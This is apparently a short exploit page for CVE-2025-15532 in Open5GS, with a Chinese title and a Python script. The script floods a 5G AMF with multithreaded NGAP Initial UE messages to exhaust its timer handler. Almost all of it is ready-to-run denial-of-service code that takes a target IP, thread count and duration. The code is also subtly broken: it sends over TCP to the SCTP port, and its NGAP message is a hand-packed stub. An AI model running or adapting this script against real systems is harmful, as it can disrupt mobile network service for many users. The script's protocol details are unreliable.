CVE-2025-15532 Open5GS Timer Handler资源消耗漏洞

#!/usr/bin/env python3 """ CVE-2025-15532 PoC - Open5GS Timer Handler Resource Consumption This PoC demonstrates resource exhaustion through excessive timer creation. """ import socket import struct import time from concurrent.futures import ThreadPoolExecutor def create_ngap_init_message(ue_id): """Generate NGAP Initial UE Message to trigger timer creation""" # Simplified NGAP header structure ngap_pdu = b'\x00\x00' # Add Procedure Code for Initial UE Message (0x0c) ngap_pdu += b'\x00\x0c' # Add criticality (reject) ngap_pdu += b'\x00' # Add message format ngap_pdu += b'\x02\x00\x00\x01' # Add UE ID ngap_pdu += struct.pack('>Q', ue_id) return ngap_pdu def send_trigger_request(host, port, ue_id): """Send triggering request to Open5GS AMF""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) message = create_ngap_init_message(ue_id) sock.send(message) sock.close() return True except Exception as e: print(f"Request failed: {e}") return False def exploit_cve_2025_15532(target_ip, amf_port=38412, threads=50, duration=60): """ Exploit resource consumption in Open5GS Timer Handler Args: target_ip: Open5GS AMF IP address amf_port: AMF SCTP port (default: 38412) threads: Number of concurrent threads duration: Attack duration in seconds """ print(f"[*] Starting CVE-2025-15532 exploit against {target_ip}:{amf_port}") print(f"[*] Using {threads} threads for {duration} seconds") start_time = time.time() ue_id = 0x100000000000001 request_count = 0 while time.time() - start_time < duration: with ThreadPoolExecutor(max_workers=threads) as executor: futures = [] for i in range(threads): future = executor.submit(send_trigger_request, target_ip, amf_port, ue_id + i) futures.append(future) for future in futures: if future.result(): request_count += 1 print(f"[*] Sent batch, total requests: {request_count}") time.sleep(0.1) print(f"[+] Attack completed. Total requests sent: {request_count}") print(f"[+] Target timer handler should be experiencing resource exhaustion") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-15532_poc.py <target_ip> [port] [threads] [duration]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 38412 threads = int(sys.argv[3]) if len(sys.argv) > 3 else 50 duration = int(sys.argv[4]) if len(sys.argv) > 4 else 60 exploit_cve_2025_15532(target, port, threads, duration)